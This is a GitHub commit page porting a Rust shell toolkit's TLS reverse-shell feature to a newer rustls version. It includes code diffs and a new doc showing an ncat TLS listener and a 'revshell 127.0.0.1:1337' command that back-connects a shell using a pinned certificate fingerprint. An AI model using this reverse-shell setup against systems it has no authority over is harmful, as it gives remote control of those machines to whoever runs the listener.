Skip to content

Commit 028addb

Browse files
committed
Port rustls to latest version
1 parent ddc8e92 commit 028addb

File tree

5 files changed

+133
-59
lines changed

5 files changed

+133
-59
lines changed

Cargo.toml

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,7 @@ default = ["readline"]
2323
full = ["readline", "network", "archives"]
2424
readline = ["rustyline"]
2525
network = ["reqwest", "tokio", "futures-util",
26-
"rustls", "sha2", "webpki"]
26+
"rustls", "sha2"]
2727
archives = ["tar", "libflate"]
2828

2929
[dependencies]
@@ -33,7 +33,7 @@ structopt = "0.3"
3333
libc = "0.2"
3434
errno = "0.2"
3535
regex = "1.0"
36-
nix = "0.22"
36+
nix = "0.23"
3737
base64 = "0.13"
3838
anyhow = "1"
3939
bufstream = "0.1"
@@ -44,9 +44,8 @@ tar = { version = "0.4", optional = true }
4444
libflate = { version = "1", optional = true }
4545

4646
# network: revshell
47-
rustls = { version = "0.16", features = ["dangerous_configuration"], optional = true }
47+
rustls = { version = "0.20", features = ["dangerous_configuration"], optional = true }
4848
sha2 = { version = "0.9", optional = true }
49-
webpki = { version = "0.21", optional = true }
5049

5150
# network: curl
5251
reqwest = { version = "0.11", default-features=false, features=["stream", "rustls-tls-webpki-roots"], optional = true }
@@ -69,5 +68,6 @@ pledge = "0.4"
6968
env_logger = "0.9"
7069
elf = "0.0.10"
7170
ctrlc = "3.1.0"
72-
rustls = "0.16"
71+
rustls = "0.20"
7372
sha2 = "0.9"
73+
pem = "1.0.1"

docs/tls-revshell.md

Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
### Note: this is currently broken :/
2+
3+
There (used) to be a feature to securely back-connect to a remote listener with
4+
tls. Instead of using the CA trust store the `revshell` command expects the
5+
certificates fingerprint to be passed as argument.
6+
7+
Generate a tls key for the listener (none of these fields matter):
8+
9+
```
10+
$ openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout tls.key -out tls.crt
11+
Generating a RSA private key
12+
....+++++
13+
..........+++++
14+
writing new private key to 'tls.key'
15+
-----
16+
You are about to be asked to enter information that will be incorporated
17+
into your certificate request.
18+
What you are about to enter is what is called a Distinguished Name or a DN.
19+
There are quite a few fields but you can leave some blank
20+
For some fields there will be a default value,
21+
If you enter '.', the field will be left blank.
22+
-----
23+
Country Name (2 letter code) [AU]:.
24+
State or Province Name (full name) [Some-State]:.
25+
Locality Name (eg, city) []:.
26+
Organization Name (eg, company) [Internet Widgits Pty Ltd]:.
27+
Organizational Unit Name (eg, section) []:.
28+
Common Name (e.g. server FQDN or YOUR name) []:example.com
29+
Email Address []:.
30+
$
31+
```
32+
33+
Calculate the fingerprint of the newly generated certificate:
34+
35+
```
36+
cargo run --example fingerprint tls.crt
37+
```
38+
39+
Run the listener:
40+
41+
```
42+
ncat -lvnp 1337 --ssl --ssl-cert tls.crt --ssl-key tls.key
43+
```
44+
45+
Compile boxxy with the network features:
46+
47+
```
48+
$ cargo run --all-features --example boxxy
49+
Compiling boxxy v0.12.1 (/home/user/repos/kpcyrd/boxxy-rs)
50+
Finished dev [unoptimized + debuginfo] target(s) in 16.93s
51+
Running `target/debug/examples/boxxy`
52+
[%]> revshell 127.0.0.1:1337 SHA256-FytW1slP5zTMKIq7814yrWRbZqAypnjmgo3jl0CQTzI
53+
[*] connecting to 127.0.0.1:1337...
54+
[+] connected!
55+
[+] established encrypted connection
56+
[*] see you on the other side...
57+
```
58+
59+
This currently crashes with:
60+
61+
```
62+
thread 'main' panicked at 'called `Result::unwrap()` on an `Err` value: InvalidLastSymbol(42, 105)', src/crypto.rs:29:91
63+
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
64+
```

examples/fingerprint.rs

Lines changed: 24 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -1,30 +1,32 @@
1-
extern crate rustls;
2-
extern crate sha2;
3-
extern crate base64;
1+
use anyhow::{Context, Result};
2+
use sha2::{Sha256, Digest};
3+
use std::fs;
4+
use std::path::PathBuf;
5+
use structopt::{StructOpt, clap::AppSettings};
46

5-
use std::env;
6-
use std::fs::File;
7-
use std::io::BufReader;
7+
#[derive(Debug, StructOpt)]
8+
#[structopt(global_settings = &[AppSettings::ColoredHelp])]
9+
pub struct Args {
10+
path: PathBuf,
11+
}
812

9-
use sha2::{Sha256, Digest};
10-
use rustls::internal::pemfile;
13+
fn main() -> Result<()> {
14+
let args = Args::from_args();
1115

16+
let buf = fs::read(&args.path)
17+
.context("Failed to read certificate file")?;
1218

13-
fn main() {
14-
let path = env::args().collect::<Vec<String>>().remove(1);
19+
let cert = pem::parse(&buf)
20+
.context("Failed to parse certificate as pem")?;
1521

16-
let f = File::open(&path).unwrap();
17-
let mut reader = BufReader::new(f);
18-
let certs = pemfile::certs(&mut reader).unwrap();
22+
let fingerprint = {
23+
let mut h = Sha256::new();
24+
h.update(&cert.contents);
25+
h.finalize()
26+
};
1927

20-
for cert in certs {
21-
let fingerprint = {
22-
let mut h = Sha256::new();
23-
h.update(&cert.0);
24-
h.finalize()
25-
};
28+
let fingerprint = base64::encode_config(&fingerprint, base64::URL_SAFE_NO_PAD);
29+
println!("SHA256-{}", fingerprint);
2630

27-
let fingerprint = base64::encode_config(&fingerprint, base64::URL_SAFE_NO_PAD);
28-
println!("SHA256-{}", fingerprint);
29-
}
31+
Ok(())
3032
}

src/busybox/network/revshell.rs

Lines changed: 9 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -4,10 +4,10 @@ use crate::{Shell, Arguments};
44
use crate::ctrl::Interface;
55
use crate::crypto::{self, OwnedTlsStream};
66
use crate::errors::*;
7-
use rustls::{ClientSession, ClientConfig};
7+
use rustls::{ClientConnection, ClientConfig, RootCertStore, ServerName};
8+
use std::convert::TryFrom;
89
use std::sync::Arc;
910
use std::net::{TcpStream, SocketAddr};
10-
use webpki::DNSNameRef;
1111

1212
pub fn revshell(sh: &mut Shell, args: Arguments) -> Result<()> {
1313
let matches = App::new("revshell")
@@ -32,14 +32,15 @@ pub fn revshell(sh: &mut Shell, args: Arguments) -> Result<()> {
3232
let fingerprint = matches.value_of("fingerprint").unwrap();
3333
let run_loop = matches.occurrences_of("loop") > 0;
3434

35-
let mut config = ClientConfig::new();
35+
let mut config = ClientConfig::builder()
36+
.with_safe_defaults()
37+
.with_root_certificates(RootCertStore::empty())
38+
.with_no_client_auth();
3639
config.dangerous().set_certificate_verifier(Arc::new(crypto::danger::PinnedCertificateVerification {}));
3740

38-
let fingerprint = match DNSNameRef::try_from_ascii_str(fingerprint) {
39-
Ok(fingerprint) => fingerprint,
40-
Err(_) => bail!("fingerprint couldn't be converted to DNSNameRef"),
41-
};
42-
let sess = ClientSession::new(&Arc::new(config), fingerprint);
41+
let fingerprint = ServerName::try_from(fingerprint)
42+
.map_err(|_| anyhow!("fingerprint couldn't be converted to ServerName"))?;
43+
let sess = ClientConnection::new(Arc::new(config), fingerprint)?;
4344

4445
shprintln!(sh, "[*] connecting to {}...", addr);
4546
let sock = TcpStream::connect(&addr)?;

src/crypto.rs

Lines changed: 31 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -1,17 +1,24 @@
1-
use rustls::{Session, ClientSession};
2-
3-
use std::io;
1+
use rustls::ClientConnection;
42
use std::io::prelude::*;
3+
use std::io;
54
use std::net::TcpStream;
65

7-
86
pub mod danger {
97
use crate::errors::*;
8+
use rustls::{Certificate, ServerName};
9+
use rustls::client::ServerCertVerified;
1010
use sha2::{Sha256, Digest};
11+
use std::time::SystemTime;
1112

1213
pub struct PinnedCertificateVerification {}
1314

14-
fn verify_fingerprint(trusted: &str, cert: &rustls::Certificate) -> Result<(), Error> {
15+
fn verify_fingerprint(trusted: &ServerName, cert: &rustls::Certificate) -> Result<(), Error> {
16+
let trusted = if let ServerName::DnsName(name) = trusted {
17+
name.as_ref()
18+
} else {
19+
bail!("unsupported server name")
20+
};
21+
1522
let idx = match trusted.find('-') {
1623
Some(idx) => idx,
1724
None => bail!("malformed fingerprint"),
@@ -37,34 +44,34 @@ pub mod danger {
3744
}
3845
}
3946

40-
impl rustls::ServerCertVerifier for PinnedCertificateVerification {
41-
42-
fn verify_server_cert(&self,
43-
_roots: &rustls::RootCertStore,
44-
presented_certs: &[rustls::Certificate],
45-
dns_name: webpki::DNSNameRef,
46-
_ocsp: &[u8]) -> Result<rustls::ServerCertVerified, rustls::TLSError> {
47-
48-
for cert in presented_certs {
49-
if verify_fingerprint(dns_name.into(), &cert).is_ok() {
50-
return Ok(rustls::ServerCertVerified::assertion());
51-
}
47+
impl rustls::client::ServerCertVerifier for PinnedCertificateVerification {
48+
fn verify_server_cert(
49+
&self,
50+
end_entity: &Certificate,
51+
_intermediates: &[Certificate],
52+
server_name: &ServerName,
53+
_scts: &mut dyn Iterator<Item = &[u8]>,
54+
_ocsp_response: &[u8],
55+
_now: SystemTime
56+
) -> Result<ServerCertVerified, rustls::Error> {
57+
if verify_fingerprint(server_name, &end_entity).is_ok() {
58+
Ok(ServerCertVerified::assertion())
59+
} else {
60+
Err(rustls::Error::General("Untrusted certificate".to_string()))
5261
}
53-
54-
Err(rustls::TLSError::WebPKIError(webpki::Error::CertNotValidForName))
5562
}
5663
}
5764
}
5865

5966

6067
#[derive(Debug)]
6168
pub struct OwnedTlsStream {
62-
pub sess: rustls::ClientSession,
69+
pub sess: rustls::ClientConnection,
6370
pub sock: TcpStream,
6471
}
6572

6673
impl OwnedTlsStream {
67-
pub fn new(sess: ClientSession, sock: TcpStream) -> OwnedTlsStream {
74+
pub fn new(sess: ClientConnection, sock: TcpStream) -> OwnedTlsStream {
6875
OwnedTlsStream { sess, sock }
6976
}
7077

@@ -89,23 +96,23 @@ impl Read for OwnedTlsStream {
8996
self.sess.complete_io(&mut self.sock)?;
9097
}
9198

92-
self.sess.read(buf)
99+
self.sess.reader().read(buf)
93100
}
94101
}
95102

96103
impl Write for OwnedTlsStream {
97104
fn write(&mut self, buf: &[u8]) -> io::Result<usize> {
98105
self.complete_prior_io()?;
99106

100-
let len = self.sess.write(buf)?;
107+
let len = self.sess.writer().write(buf)?;
101108
self.sess.complete_io(&mut self.sock)?;
102109
Ok(len)
103110
}
104111

105112
fn flush(&mut self) -> io::Result<()> {
106113
self.complete_prior_io()?;
107114

108-
self.sess.flush()?;
115+
self.sess.writer().flush()?;
109116
if self.sess.wants_write() {
110117
self.sess.complete_io(&mut self.sock)?;
111118
}

0 commit comments

Comments
 (0)